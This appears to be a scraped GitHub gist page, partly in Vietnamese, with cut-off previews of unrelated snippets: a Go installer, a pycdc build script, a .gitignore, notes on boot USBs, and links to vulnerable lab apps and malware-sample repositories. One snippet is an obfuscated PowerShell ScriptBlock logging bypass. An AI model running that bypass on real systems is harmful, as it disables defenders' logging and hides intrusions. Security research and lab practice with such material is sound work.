- Metasploitable 2
- OWASP Mutillidae II
- DVWA
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| GOLANG="$(curl -s https://go.dev/dl/ | grep -o 'go[0-9\.]*\.linux-amd64.tar.gz' | head -n 1)" | |
| wget https://go.dev/dl/$GOLANG | |
| sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf $GOLANG | |
| rm $GOLANG | |
| unset GOLANG | |
| echo -e 'export PATH=$PATH:/usr/local/go/bin' | tee -a ~/.bashrc | |
| bash -c "go env" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ScriptBlock Logging Bypass | |
| # @cobbr_io | |
| $GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') | |
| If ($GroupPolicyField) { | |
| $GroupPolicyCache = $GroupPolicyField.GetValue($null) | |
| If ($GroupPolicyCache['ScriptB'+'lockLogging']) { | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Download-FileWithProgress { | |
| param ( | |
| [string]$url, | |
| [string]$destination | |
| ) | |
| $request = [System.Net.HttpWebRequest]::Create($url) | |
| $request.Method = "GET" | |
| $response = $request.GetResponse() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| git clone https://github.com/zrax/pycdc | |
| cd pycdc | |
| cmake . | |
| make | |
| make check | |
| ./pycdc aaa.pyc |
- VX-Underground
- Malware Trafic Analysis
- MalwareBazzar - của nhà
abuse.ch, share trực tiếp các malware samples - URLhaus - cũng của nhà
abuse.ch, share các open directory chứa malware
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // use (16 chars of) 'password' to encrypt 'plaintext' | |
| function encrypt(plaintext, password) { | |
| var v = new Array(2), k = new Array(4), s = "", i; | |
| plaintext = escape(plaintext); // use escape() so only have single-byte chars to encode | |
| // build key directly from 1st 16 chars of password | |
| for (var i=0; i<4; i++) k[i] = Str4ToLong(password.slice(i*4,(i+1)*4)); |
- Can use Rufus or Ventoy to prepare your USB stick.
- For Ventoy, just install the EFI using instruction on the homepage, then copy the ISO on the newly created partition.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # +----------------------------+ | |
| # | IDE files | | |
| # +----------------------------+ | |
| /.idea | |
| # +----------------------------+ | |
| # | Vagrant | | |
| # +----------------------------+ | |
| /.vagrant |